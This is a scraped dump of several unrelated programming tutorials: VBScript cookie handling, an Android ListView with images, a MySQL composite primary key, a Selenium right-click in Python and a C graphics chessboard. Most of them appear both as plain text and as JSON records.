"text": "Note − There may be some other cookies already set on your machine. So, above code will show you all the cookies set at your machine."
},
{
"code": null,
"e": 7854,
"s": 7633,
"text": "You can extend the life of a cookie beyond the current browser session by setting an expiration date and saving the expiration date within the cookie. This can be done by setting the expires attribute to a date and time."
},
{
"code": null,
"e": 7938,
"s": 7854,
"text": "The following example illustrates how to set cookie expiration date after 1 Month −"
},
{
"code": null,
"e": 8614,
"s": 7938,
"text": "<html>\n <head>\n <script type = \"text/vbscript\">\n Function WriteCookie()\n x = now()\n y = dateadd(\"m\",1,now()) ' Making it to expire next \n cookievalue = document.myform.customer.value\n document.cookie = \"name = \" & cookievalue\n document.cookie = \"expires = \" & y\n msgbox(\"Setting Cookies : \" & \"name=\" & cookievalue )\n End Function\n </script>\n </head>\n <body>\n <form name = \"myform\" action = \"\">\n Enter name: <input type = \"text\" name = \"customer\"/>\n <input type = \"button\" value = \"Set Cookie\" onclick = \"WriteCookie()\"/>\n </form>\n </body>\n</html>"
},
{
"code": null,
"e": 8797,
"s": 8614,
"text": "Sometimes, you will want to delete a cookie so that subsequent attempts to read the cookie return nothing. To do this, you just need to set the expiration date to a time in the past."
},
{
"code": null,
"e": 8907,
"s": 8797,
"text": "The following example illustrates how to delete a cookie by setting its expiration date 1 Month in the past −"
},
{
"code": null,
"e": 9845,
"s": 8907,
"text": "<html>\n <head>\n <script type = \"text/vbscript\">\n Function WriteCookie()\n x = now()\n x = now()\n a = Month(x)-1\n b = day(x)\n c = year(x)\n d = DateSerial(c,a,b)\n e = hour(x) \n \n msgbox e\n f = minute(x)\n \n msgbox f\n d = cdate(d & \" \" & e & \":\" & f)\n \n msgbox d\n cookievalue = document.myform.customer.value\n document.cookie = \"name = \" & cookievalue\n document.cookie = \"expires = \" & d\n msgbox(\"Setting Cookies : \" & \"name=\" & cookievalue )\n End Function\n </script>\n </head>\n <body>\n <form name = \"myform\" action = \"\">\n Enter name: <input type = \"text\" name = \"customer\"/>\n <input type = \"button\" value = \"Set Cookie\" onclick = \"WriteCookie()\"/>\n </form>\n </body>\n</html>"
},
{
"code": null,
"e": 9878,
"s": 9845,
"text": "\n 63 Lectures \n 4 hours \n"
},
{
"code": null,
"e": 9895,
"s": 9878,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 9902,
"s": 9895,
"text": " Print"
},
{
"code": null,
"e": 9913,
"s": 9902,
"text": " Add Notes"
}
] |
How to display a list of images and text in a ListView in Android?
|
Before getting into listview example, we should know about listview, Listview is a collection of items pulled from arraylist, list or any databases. Most uses of listview is a collection of items in vertical format, we can scroll up/down and click on any item.
Custom listview works based on customAdapter. In this custom adapter we can pass custom object. We are passing subject data to listview as shown below.
Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project.
Step 2 − Add the following code to res/layout/activity_main.xml.
<?xml version = "1.0" encoding = "utf-8"?>
<android.support.constraint.ConstraintLayout
xmlns:android = "http://schemas.android.com/apk/res/android" xmlns:tools = "http://schemas.android.com/tools" android:layout_width = "match_parent"
android:layout_height = "match_parent">
<LinearLayout
android:layout_width = "match_parent"
android:layout_height = "match_parent"
android:orientation = "vertical">
<ListView
android:id = "@+id/list"
android:layout_width = "wrap_content"
android:layout_height = "match_parent"
android:divider = "#000"
android:dividerHeight = "1dp"
android:footerDividersEnabled = "false"
android:headerDividersEnabled = "false"/>
</LinearLayout>
</android.support.constraint.ConstraintLayout>
In the above activity_main.xml, we have declared a listview and added divider as shown below.
<ListView
android:id = "@+id/list"
android:layout_width = "wrap_content"
android:layout_height = "match_parent"
android:divider = "#000"
android:dividerHeight = "1dp"
android:footerDividersEnabled = "false"
android:headerDividersEnabled = "false"
/>
Step 3 − Add the following code to src/MainActivity.java
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.ListView;
import java.util.ArrayList;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final ListView list = findViewById(R.id.list);
ArrayList<SubjectData> arrayList = new ArrayList<SubjectData>();
arrayList.add(new SubjectData("JAVA", "https://www.tutorialspoint.com/java/", "https://www.tutorialspoint.com/java/images/java-mini-logo.jpg"));
arrayList.add(new SubjectData("Python", "https://www.tutorialspoint.com/python/", "https://www.tutorialspoint.com/python/images/python-mini.jpg"));
arrayList.add(new SubjectData("Javascript", "https://www.tutorialspoint.com/javascript/", "https://www.tutorialspoint.com/javascript/images/javascript-mini-logo.jpg"));
arrayList.add(new SubjectData("Cprogramming", "https://www.tutorialspoint.com/cprogramming/", "https://www.tutorialspoint.com/cprogramming/images/c-mini-logo.jpg"));
arrayList.add(new SubjectData("Cplusplus", "https://www.tutorialspoint.com/cplusplus/", "https://www.tutorialspoint.com/cplusplus/images/cpp-mini-logo.jpg"));
arrayList.add(new SubjectData("Android", "https://www.tutorialspoint.com/android/", "https://www.tutorialspoint.com/android/images/android-mini-logo.jpg"));
CustomAdapter customAdapter = new CustomAdapter(this, arrayList);
list.setAdapter(customAdapter);
}
}
In the mainActivity, we have declared CustomAdapter and passed SubjectData as shown below.
CustomAdapter customAdapter = new CustomAdapter(this, arrayList);
list.setAdapter(customAdapter);
Step 4 − Create a CustomAdapter class Add the following code to src/ CustomAdapter.java
import android.content.Context;
import android.database.DataSetObserver;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.ListAdapter;
import android.widget.TextView;
import com.squareup.picasso.Picasso;
import java.util.ArrayList;
class CustomAdapter implements ListAdapter {
ArrayList<SubjectData> arrayList;
Context context;
public CustomAdapter(Context context, ArrayList<SubjectData> arrayList) {
this.arrayList=arrayList;
this.context=context;
}
@Override
public boolean areAllItemsEnabled() {
return false;
}
@Override
public boolean isEnabled(int position) {
return true;
}
@Override
public void registerDataSetObserver(DataSetObserver observer) {
}
@Override
public void unregisterDataSetObserver(DataSetObserver observer) {
}
@Override
public int getCount() {
return arrayList.size();
}
@Override
public Object getItem(int position) {
return position;
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public boolean hasStableIds() {
return false;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
SubjectData subjectData = arrayList.get(position);
if(convertView == null) {
LayoutInflater layoutInflater = LayoutInflater.from(context);
convertView = layoutInflater.inflate(R.layout.list_row, null);
convertView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
}
});
TextView tittle = convertView.findViewById(R.id.title);
ImageView imag = convertView.findViewById(R.id.list_image);
tittle.setText(subjectData.SubjectName);
Picasso.with(context)
.load(subjectData.Image)
.into(imag);
}
return convertView;
}
@Override
public int getItemViewType(int position) {
return position;
}
@Override
public int getViewTypeCount() {
return arrayList.size();
}
@Override
public boolean isEmpty() {
return false;
}
}
Step 5 − Create a SubjectData class, Add the following code to src/ SubjectData.java
class SubjectData {
String SubjectName;
String Link;
String Image;
public SubjectData(String subjectName, String link, String image) {
this.SubjectName = subjectName;
this.Link = link;
this.Image = image;
}
}
Step 6 − In the CustomAdapter class we have showed internet source image. To show internet source image. we have added picasso library as shown below.
Picasso.with(context)
.load(subjectData.Image)
.into(imag);
Step 7 − For picasso library implementation, we have to add picasso library in gradle as shown below
apply plugin: 'com.android.application'
android {
compileSdkVersion 28
defaultConfig {
applicationId "com.example.andy.myapplication"
minSdkVersion 15
targetSdkVersion 28
versionCode 1
versionName "1.0"
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
}
dependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'com.android.support:appcompat-v7:28.0.0'
implementation 'com.android.support.constraint:constraint-layout:1.1.3'
testImplementation 'junit:junit:4.12'
implementation 'com.squareup.picasso:picasso:2.5.1'
androidTestImplementation 'com.android.support.test:runner:1.0.2'
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
}
Step 8 − To access internet information, we have to give internet permission to manifest file as shown below
<?xml version = "1.0" encoding = "utf-8"?>
<manifest xmlns:android = "http://schemas.android.com/apk/res/android"
package = "com.example.andy.myapplication">
<uses-permission android:name = "android.permission.INTERNET"/>
<application
android:allowBackup = "true"
android:icon = "@mipmap/ic_launcher"
android:label = "@string/app_name"
android:roundIcon = "@mipmap/ic_launcher_round"
android:supportsRtl = "true"
android:theme = "@style/AppTheme">
<activity android:name = ".MainActivity">
<intent-filter>
<action android:name = "android.intent.action.MAIN" />
<category android:name = "android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen.
We you click on subject, it will open the link as shown below
Click here to download the project code
|
[
{
"code": null,
"e": 1323,
"s": 1062,
"text": "Before getting into listview example, we should know about listview, Listview is a collection of items pulled from arraylist, list or any databases. Most uses of listview is a collection of items in vertical format, we can scroll up/down and click on any item."
},
{
"code": null,
"e": 1475,
"s": 1323,
"text": "Custom listview works based on customAdapter. In this custom adapter we can pass custom object. We are passing subject data to listview as shown below."
},
{
"code": null,
"e": 1604,
"s": 1475,
"text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project."
},
{
"code": null,
"e": 1669,
"s": 1604,
"text": "Step 2 − Add the following code to res/layout/activity_main.xml."
},
{
"code": null,
"e": 2442,
"s": 1669,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<android.support.constraint.ConstraintLayout\n xmlns:android = \"http://schemas.android.com/apk/res/android\" xmlns:tools = \"http://schemas.android.com/tools\" android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\">\n<LinearLayout\n android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\"\n android:orientation = \"vertical\">\n <ListView\n android:id = \"@+id/list\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"match_parent\"\n android:divider = \"#000\"\n android:dividerHeight = \"1dp\"\n android:footerDividersEnabled = \"false\"\n android:headerDividersEnabled = \"false\"/>\n</LinearLayout>\n</android.support.constraint.ConstraintLayout>"
},
{
"code": null,
"e": 2536,
"s": 2442,
"text": "In the above activity_main.xml, we have declared a listview and added divider as shown below."
},
{
"code": null,
"e": 2807,
"s": 2536,
"text": "<ListView\n android:id = \"@+id/list\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"match_parent\"\n android:divider = \"#000\"\n android:dividerHeight = \"1dp\"\n android:footerDividersEnabled = \"false\"\n android:headerDividersEnabled = \"false\"\n/>"
},
{
"code": null,
"e": 2864,
"s": 2807,
"text": "Step 3 − Add the following code to src/MainActivity.java"
},
{
"code": null,
"e": 4431,
"s": 2864,
"text": "import android.os.Bundle;\nimport android.support.v7.app.AppCompatActivity;\nimport android.widget.ListView;\nimport java.util.ArrayList;\npublic class MainActivity extends AppCompatActivity {\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n final ListView list = findViewById(R.id.list);\n ArrayList<SubjectData> arrayList = new ArrayList<SubjectData>();\n arrayList.add(new SubjectData(\"JAVA\", \"https://www.tutorialspoint.com/java/\", \"https://www.tutorialspoint.com/java/images/java-mini-logo.jpg\"));\n arrayList.add(new SubjectData(\"Python\", \"https://www.tutorialspoint.com/python/\", \"https://www.tutorialspoint.com/python/images/python-mini.jpg\"));\n arrayList.add(new SubjectData(\"Javascript\", \"https://www.tutorialspoint.com/javascript/\", \"https://www.tutorialspoint.com/javascript/images/javascript-mini-logo.jpg\"));\n arrayList.add(new SubjectData(\"Cprogramming\", \"https://www.tutorialspoint.com/cprogramming/\", \"https://www.tutorialspoint.com/cprogramming/images/c-mini-logo.jpg\"));\n arrayList.add(new SubjectData(\"Cplusplus\", \"https://www.tutorialspoint.com/cplusplus/\", \"https://www.tutorialspoint.com/cplusplus/images/cpp-mini-logo.jpg\"));\n arrayList.add(new SubjectData(\"Android\", \"https://www.tutorialspoint.com/android/\", \"https://www.tutorialspoint.com/android/images/android-mini-logo.jpg\"));\n CustomAdapter customAdapter = new CustomAdapter(this, arrayList);\n list.setAdapter(customAdapter);\n }\n}"
},
{
"code": null,
"e": 4522,
"s": 4431,
"text": "In the mainActivity, we have declared CustomAdapter and passed SubjectData as shown below."
},
{
"code": null,
"e": 4620,
"s": 4522,
"text": "CustomAdapter customAdapter = new CustomAdapter(this, arrayList);\nlist.setAdapter(customAdapter);"
},
{
"code": null,
"e": 4708,
"s": 4620,
"text": "Step 4 − Create a CustomAdapter class Add the following code to src/ CustomAdapter.java"
},
{
"code": null,
"e": 6959,
"s": 4708,
"text": "import android.content.Context;\nimport android.database.DataSetObserver;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ImageView;\nimport android.widget.ListAdapter;\nimport android.widget.TextView;\nimport com.squareup.picasso.Picasso;\nimport java.util.ArrayList;\nclass CustomAdapter implements ListAdapter {\n ArrayList<SubjectData> arrayList;\n Context context;\n public CustomAdapter(Context context, ArrayList<SubjectData> arrayList) {\n this.arrayList=arrayList;\n this.context=context;\n }\n @Override\n public boolean areAllItemsEnabled() {\n return false;\n }\n @Override\n public boolean isEnabled(int position) {\n return true;\n }\n @Override\n public void registerDataSetObserver(DataSetObserver observer) {\n }\n @Override\n public void unregisterDataSetObserver(DataSetObserver observer) {\n }\n @Override\n public int getCount() {\n return arrayList.size();\n }\n @Override\n public Object getItem(int position) {\n return position;\n }\n @Override\n public long getItemId(int position) {\n return position;\n }\n @Override\n public boolean hasStableIds() {\n return false;\n }\n @Override\n public View getView(int position, View convertView, ViewGroup parent) {\n SubjectData subjectData = arrayList.get(position);\n if(convertView == null) {\n LayoutInflater layoutInflater = LayoutInflater.from(context);\n convertView = layoutInflater.inflate(R.layout.list_row, null);\n convertView.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n }\n });\n TextView tittle = convertView.findViewById(R.id.title);\n ImageView imag = convertView.findViewById(R.id.list_image);\n tittle.setText(subjectData.SubjectName);\n Picasso.with(context)\n .load(subjectData.Image)\n .into(imag);\n }\n return convertView;\n }\n @Override\n public int getItemViewType(int position) {\n return position;\n }\n @Override\n public int getViewTypeCount() {\n return arrayList.size();\n }\n @Override\n public boolean isEmpty() {\n return false;\n }\n}"
},
{
"code": null,
"e": 7044,
"s": 6959,
"text": "Step 5 − Create a SubjectData class, Add the following code to src/ SubjectData.java"
},
{
"code": null,
"e": 7286,
"s": 7044,
"text": "class SubjectData {\n String SubjectName;\n String Link;\n String Image;\n public SubjectData(String subjectName, String link, String image) {\n this.SubjectName = subjectName;\n this.Link = link;\n this.Image = image;\n }\n}"
},
{
"code": null,
"e": 7437,
"s": 7286,
"text": "Step 6 − In the CustomAdapter class we have showed internet source image. To show internet source image. we have added picasso library as shown below."
},
{
"code": null,
"e": 7497,
"s": 7437,
"text": "Picasso.with(context)\n.load(subjectData.Image)\n.into(imag);"
},
{
"code": null,
"e": 7598,
"s": 7497,
"text": "Step 7 − For picasso library implementation, we have to add picasso library in gradle as shown below"
},
{
"code": null,
"e": 8556,
"s": 7598,
"text": "apply plugin: 'com.android.application'\nandroid {\n compileSdkVersion 28\n defaultConfig {\n applicationId \"com.example.andy.myapplication\"\n minSdkVersion 15\n targetSdkVersion 28\n versionCode 1\n versionName \"1.0\"\n testInstrumentationRunner \"android.support.test.runner.AndroidJUnitRunner\"\n }\n buildTypes {\n release {\n minifyEnabled false\n proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n }\n }\n}\ndependencies {\n implementation fileTree(dir: 'libs', include: ['*.jar'])\n implementation 'com.android.support:appcompat-v7:28.0.0'\n implementation 'com.android.support.constraint:constraint-layout:1.1.3'\n testImplementation 'junit:junit:4.12'\n implementation 'com.squareup.picasso:picasso:2.5.1'\n androidTestImplementation 'com.android.support.test:runner:1.0.2'\n androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'\n} "
},
{
"code": null,
"e": 8665,
"s": 8556,
"text": "Step 8 − To access internet information, we have to give internet permission to manifest file as shown below"
},
{
"code": null,
"e": 9441,
"s": 8665,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<manifest xmlns:android = \"http://schemas.android.com/apk/res/android\"\npackage = \"com.example.andy.myapplication\">\n<uses-permission android:name = \"android.permission.INTERNET\"/>\n <application\n android:allowBackup = \"true\"\n android:icon = \"@mipmap/ic_launcher\"\n android:label = \"@string/app_name\"\n android:roundIcon = \"@mipmap/ic_launcher_round\"\n android:supportsRtl = \"true\"\n android:theme = \"@style/AppTheme\">\n <activity android:name = \".MainActivity\">\n <intent-filter>\n <action android:name = \"android.intent.action.MAIN\" />\n <category android:name = \"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n </application>\n</manifest>"
},
{
"code": null,
"e": 9787,
"s": 9441,
"text": "Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen."
},
{
"code": null,
"e": 9849,
"s": 9787,
"text": "We you click on subject, it will open the link as shown below"
},
{
"code": null,
"e": 9889,
"s": 9849,
"text": "Click here to download the project code"
}
] |
ALTER TABLE to add a composite primary key in MySQL?
|
To add composite primary key, use the ALTER command. Let us first create a demo table
The query to create a table.
mysql> create table CompositePrimaryKey
-> (
-> Id int,
-> StudentName varchar(100),
-> Age int
-> );
Query OK, 0 rows affected (0.56 sec)
Haven’t added composite primary key above till now. Let us now check with the help of desc command.
mysql> desc CompositePrimaryKey;
The following is the output.
+-------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+-------+
| Id | int(11) | YES | | NULL | |
| StudentName | varchar(100) | YES | | NULL | |
| Age | int(11) | YES | | NULL | |
+-------------+--------------+------+-----+---------+-------+
3 rows in set (0.09 sec)
Look at the above sample output, there is no primary keyword. This itself says that no composite primary key is available.
Now, let us use ALTER command to add composite primary key. The query is as follows.
mysql> ALTER table CompositePrimaryKey add primary key(Id,StudentName);
Query OK, 0 rows affected (1.26 sec)
Records: 0 Duplicates: 0 Warnings: 0
Above, I have added composite primary key with the column name “Id” and “StudentName”. To check the same, we can use DESC command. The query is as follows.
mysql> DESC CompositePrimaryKey;
Here is the output.
+-------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+-------+
| Id | int(11) | NO | PRI | NULL | |
| StudentName | varchar(100) | NO | PRI | NULL | |
| Age | int(11) | YES | | NULL | |
+-------------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
As we can see in the above output, “PR” means we have successfully added composite primary key on column Id and StudentName.
|
[
{
"code": null,
"e": 1148,
"s": 1062,
"text": "To add composite primary key, use the ALTER command. Let us first create a demo table"
},
{
"code": null,
"e": 1177,
"s": 1148,
"text": "The query to create a table."
},
{
"code": null,
"e": 1331,
"s": 1177,
"text": "mysql> create table CompositePrimaryKey\n -> (\n -> Id int,\n -> StudentName varchar(100),\n -> Age int\n -> );\nQuery OK, 0 rows affected (0.56 sec)"
},
{
"code": null,
"e": 1431,
"s": 1331,
"text": "Haven’t added composite primary key above till now. Let us now check with the help of desc command."
},
{
"code": null,
"e": 1464,
"s": 1431,
"text": "mysql> desc CompositePrimaryKey;"
},
{
"code": null,
"e": 1493,
"s": 1464,
"text": "The following is the output."
},
{
"code": null,
"e": 1953,
"s": 1493,
"text": "+-------------+--------------+------+-----+---------+-------+\n| Field | Type | Null | Key | Default | Extra |\n+-------------+--------------+------+-----+---------+-------+\n| Id | int(11) | YES | | NULL | |\n| StudentName | varchar(100) | YES | | NULL | |\n| Age | int(11) | YES | | NULL | |\n+-------------+--------------+------+-----+---------+-------+\n3 rows in set (0.09 sec)\n"
},
{
"code": null,
"e": 2076,
"s": 1953,
"text": "Look at the above sample output, there is no primary keyword. This itself says that no composite primary key is available."
},
{
"code": null,
"e": 2161,
"s": 2076,
"text": "Now, let us use ALTER command to add composite primary key. The query is as follows."
},
{
"code": null,
"e": 2310,
"s": 2161,
"text": "mysql> ALTER table CompositePrimaryKey add primary key(Id,StudentName);\nQuery OK, 0 rows affected (1.26 sec)\nRecords: 0 Duplicates: 0 Warnings: 0"
},
{
"code": null,
"e": 2466,
"s": 2310,
"text": "Above, I have added composite primary key with the column name “Id” and “StudentName”. To check the same, we can use DESC command. The query is as follows."
},
{
"code": null,
"e": 2499,
"s": 2466,
"text": "mysql> DESC CompositePrimaryKey;"
},
{
"code": null,
"e": 2519,
"s": 2499,
"text": "Here is the output."
},
{
"code": null,
"e": 2979,
"s": 2519,
"text": "+-------------+--------------+------+-----+---------+-------+\n| Field | Type | Null | Key | Default | Extra |\n+-------------+--------------+------+-----+---------+-------+\n| Id | int(11) | NO | PRI | NULL | |\n| StudentName | varchar(100) | NO | PRI | NULL | |\n| Age | int(11) | YES | | NULL | |\n+-------------+--------------+------+-----+---------+-------+\n3 rows in set (0.00 sec)\n"
},
{
"code": null,
"e": 3104,
"s": 2979,
"text": "As we can see in the above output, “PR” means we have successfully added composite primary key on column Id and StudentName."
}
] |
How to automate menu box/pop up of right click in Python Selenium?
|
We can automate right click action with Selenium webdriver in Python by using the ActionChains class. We have to create an object of the ActionChains class and then apply the relevant method on it.
In order to move the mouse to the element on which right click is to be performed, we shall use the move_to_element method and pass the element locator as a parameter.
Then apply context_click method to perform the right click. Finally, use the perform method to actually carry out these actions. Also, we have to add the statement from selenium.webdriver.common.action_chains import ActionChains in our code to work with ActionChains class.
a = ActionChains(driver)
m= driver.find_element_by_id("hot-spot")
a.move_to_element(m)
a.context_click().perform
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.alert import Alert
#set chromodriver.exe path
driver = webdriver.Chrome(executable_path="C:\\chromedriver.exe")
driver.implicitly_wait(0.5)
#launch URL
driver.get("https://the-internet.herokuapp.com/context_menu")
#object of ActionChains
a = ActionChains(driver)
#identify element
m = driver.find_element_by_id("hot-spot")
#move mouse over element
a.move_to_element(m)
#perform right-click
a.context_click().perform()
#switch to alert
al = driver.switch_to.alert
#get alert text
s = al.text
print("Alert text: ")
print(s)
#accept alert
al.accept()
#close browser
driver.quit()
|
[
{
"code": null,
"e": 1260,
"s": 1062,
"text": "We can automate right click action with Selenium webdriver in Python by using the ActionChains class. We have to create an object of the ActionChains class and then apply the relevant method on it."
},
{
"code": null,
"e": 1428,
"s": 1260,
"text": "In order to move the mouse to the element on which right click is to be performed, we shall use the move_to_element method and pass the element locator as a parameter."
},
{
"code": null,
"e": 1702,
"s": 1428,
"text": "Then apply context_click method to perform the right click. Finally, use the perform method to actually carry out these actions. Also, we have to add the statement from selenium.webdriver.common.action_chains import ActionChains in our code to work with ActionChains class."
},
{
"code": null,
"e": 1815,
"s": 1702,
"text": "a = ActionChains(driver)\nm= driver.find_element_by_id(\"hot-spot\")\na.move_to_element(m)\na.context_click().perform"
},
{
"code": null,
"e": 2519,
"s": 1815,
"text": "from selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.alert import Alert\n#set chromodriver.exe path\ndriver = webdriver.Chrome(executable_path=\"C:\\\\chromedriver.exe\")\ndriver.implicitly_wait(0.5)\n#launch URL\ndriver.get(\"https://the-internet.herokuapp.com/context_menu\")\n#object of ActionChains\na = ActionChains(driver)\n#identify element\nm = driver.find_element_by_id(\"hot-spot\")\n#move mouse over element\na.move_to_element(m)\n#perform right-click\na.context_click().perform()\n#switch to alert\nal = driver.switch_to.alert\n#get alert text\ns = al.text\nprint(\"Alert text: \")\nprint(s)\n#accept alert\nal.accept()\n#close browser\ndriver.quit()"
}
] |
Draw a Chess Board using Graphics Programming in C - GeeksforGeeks
|
21 Jun, 2020
Prerequisite: graphics.h, How to include graphics.h in CodeBlocks?
In Computer Graphics, we use graphics.h which provide direct functions to draw different coordinate shapes(like circle, rectangle etc). By using these functions we can draw different objects like car, hut, trees etc. In this program, the task is to draw a Chess Board using the functions in graphics.
To run the program we have the include the below header file:
#include <graphic.h>
Approach: We will create a Chess Board with the help below functions:
rectangle(left, top, right, bottom): A function from graphics.h header file which is used to draw a rectangle. Coordinates of the left top and right bottom corners are required to draw the rectangle. left specifies the X-coordinate of the top left corner, top specifies the Y-coordinate of the top left corner, right specifies the X-coordinate of the right bottom corner, bottom specifies the Y-coordinate of the right bottom corner.delay(): This function is present in library “dos.h” is used for holding the program output for a small period of time since processing is very fast so use it to see the result.setcolor(): A function from graphics.h header file which sets the color of the pointer (cursor). There are some predefined colors in computer graphics. Here n is the color number.setfillstyle(): A function from graphics.h header file which sets the current fill pattern and fill color.floodfill(): A function from graphics.h header file which is used to fill an enclosed area.
rectangle(left, top, right, bottom): A function from graphics.h header file which is used to draw a rectangle. Coordinates of the left top and right bottom corners are required to draw the rectangle. left specifies the X-coordinate of the top left corner, top specifies the Y-coordinate of the top left corner, right specifies the X-coordinate of the right bottom corner, bottom specifies the Y-coordinate of the right bottom corner.
delay(): This function is present in library “dos.h” is used for holding the program output for a small period of time since processing is very fast so use it to see the result.
setcolor(): A function from graphics.h header file which sets the color of the pointer (cursor). There are some predefined colors in computer graphics. Here n is the color number.
setfillstyle(): A function from graphics.h header file which sets the current fill pattern and fill color.
floodfill(): A function from graphics.h header file which is used to fill an enclosed area.
Below is the implementation of to draw Chess Board using graphics in C:
// C program to create a chess board#include <conio.h>#include <dos.h>#include <graphics.h>#include <stdio.h> // Driver Codevoid main(){ // Auto detection int gr = DETECT, gm; int r, c, x = 30, y = 30, black = 0; // Initialize graphics mode by passing // three arguments to initgraph function // &gdriver is the address of gdriver // variable, &gmode is the address of // gmode and "C:\\Turboc3\\BGI" is the // directory path where BGI files are stored initgraph(&gr, &gm, "C:\\TURBOC3\\BGI"); // Iterate over 8 rows for (r = 0; r < 8; r++) { // iterate over 8 cols for (c = 1; c <= 8; c++) { // If current block is to // color as black if (black == 0) { // set next color as white setcolor(WHITE); // sets the current fill // pattern and fill color // for black boxes setfillstyle(SOLID_FILL, BLACK); // creating rectangle // with length and breadth // with size 30 rectangle(x, y, x + 30, y + 30); // Fill an enclosed area floodfill(x + 1, y + 1, WHITE); // Set black to true black = 1; } // If current block is to // color as white else { setcolor(WHITE); // sets the current fill // pattern and fill color // for whitw boxes setfillstyle(SOLID_FILL, WHITE); // creating rectangle // with length and breadth // with size 30 rectangle(x, y, x + 30, y + 30); // Fill an enclosed area floodfill(x + 1, y + 1, WHITE); // Set black to false black = 0; } // Increment for next row x = x + 30; // delay function under library // "dos.h" for holding the // function for some time delay(30); } if (black == 0) black = 1; else black = 0; delay(30); x = 30; y = 30 + y; } // getch is used to hold the output screen // and wait until user gives any type of // input in turbo c getch(); // close graph function is used to exit // from the graphics screen closegraph();}
Output:Below is the output of the above program:
c-graphics
chessboard-problems
Advanced Computer Subject
C Language
Project
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Copying Files to and from Docker Containers
Principal Component Analysis with Python
Fuzzy Logic | Introduction
Classifying data using Support Vector Machines(SVMs) in Python
How to create a REST API using Java Spring Boot
Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()
Arrays in C/C++
std::sort() in C++ STL
Bitwise Operators in C/C++
Multidimensional Arrays in C / C++
|
[
{
"code": null,
"e": 24228,
"s": 24200,
"text": "\n21 Jun, 2020"
},
{
"code": null,
"e": 24295,
"s": 24228,
"text": "Prerequisite: graphics.h, How to include graphics.h in CodeBlocks?"
},
{
"code": null,
"e": 24596,
"s": 24295,
"text": "In Computer Graphics, we use graphics.h which provide direct functions to draw different coordinate shapes(like circle, rectangle etc). By using these functions we can draw different objects like car, hut, trees etc. In this program, the task is to draw a Chess Board using the functions in graphics."
},
{
"code": null,
"e": 24658,
"s": 24596,
"text": "To run the program we have the include the below header file:"
},
{
"code": null,
"e": 24680,
"s": 24658,
"text": "#include <graphic.h>\n"
},
{
"code": null,
"e": 24750,
"s": 24680,
"text": "Approach: We will create a Chess Board with the help below functions:"
},
{
"code": null,
"e": 25737,
"s": 24750,
"text": "rectangle(left, top, right, bottom): A function from graphics.h header file which is used to draw a rectangle. Coordinates of the left top and right bottom corners are required to draw the rectangle. left specifies the X-coordinate of the top left corner, top specifies the Y-coordinate of the top left corner, right specifies the X-coordinate of the right bottom corner, bottom specifies the Y-coordinate of the right bottom corner.delay(): This function is present in library “dos.h” is used for holding the program output for a small period of time since processing is very fast so use it to see the result.setcolor(): A function from graphics.h header file which sets the color of the pointer (cursor). There are some predefined colors in computer graphics. Here n is the color number.setfillstyle(): A function from graphics.h header file which sets the current fill pattern and fill color.floodfill(): A function from graphics.h header file which is used to fill an enclosed area."
},
{
"code": null,
"e": 26171,
"s": 25737,
"text": "rectangle(left, top, right, bottom): A function from graphics.h header file which is used to draw a rectangle. Coordinates of the left top and right bottom corners are required to draw the rectangle. left specifies the X-coordinate of the top left corner, top specifies the Y-coordinate of the top left corner, right specifies the X-coordinate of the right bottom corner, bottom specifies the Y-coordinate of the right bottom corner."
},
{
"code": null,
"e": 26349,
"s": 26171,
"text": "delay(): This function is present in library “dos.h” is used for holding the program output for a small period of time since processing is very fast so use it to see the result."
},
{
"code": null,
"e": 26529,
"s": 26349,
"text": "setcolor(): A function from graphics.h header file which sets the color of the pointer (cursor). There are some predefined colors in computer graphics. Here n is the color number."
},
{
"code": null,
"e": 26636,
"s": 26529,
"text": "setfillstyle(): A function from graphics.h header file which sets the current fill pattern and fill color."
},
{
"code": null,
"e": 26728,
"s": 26636,
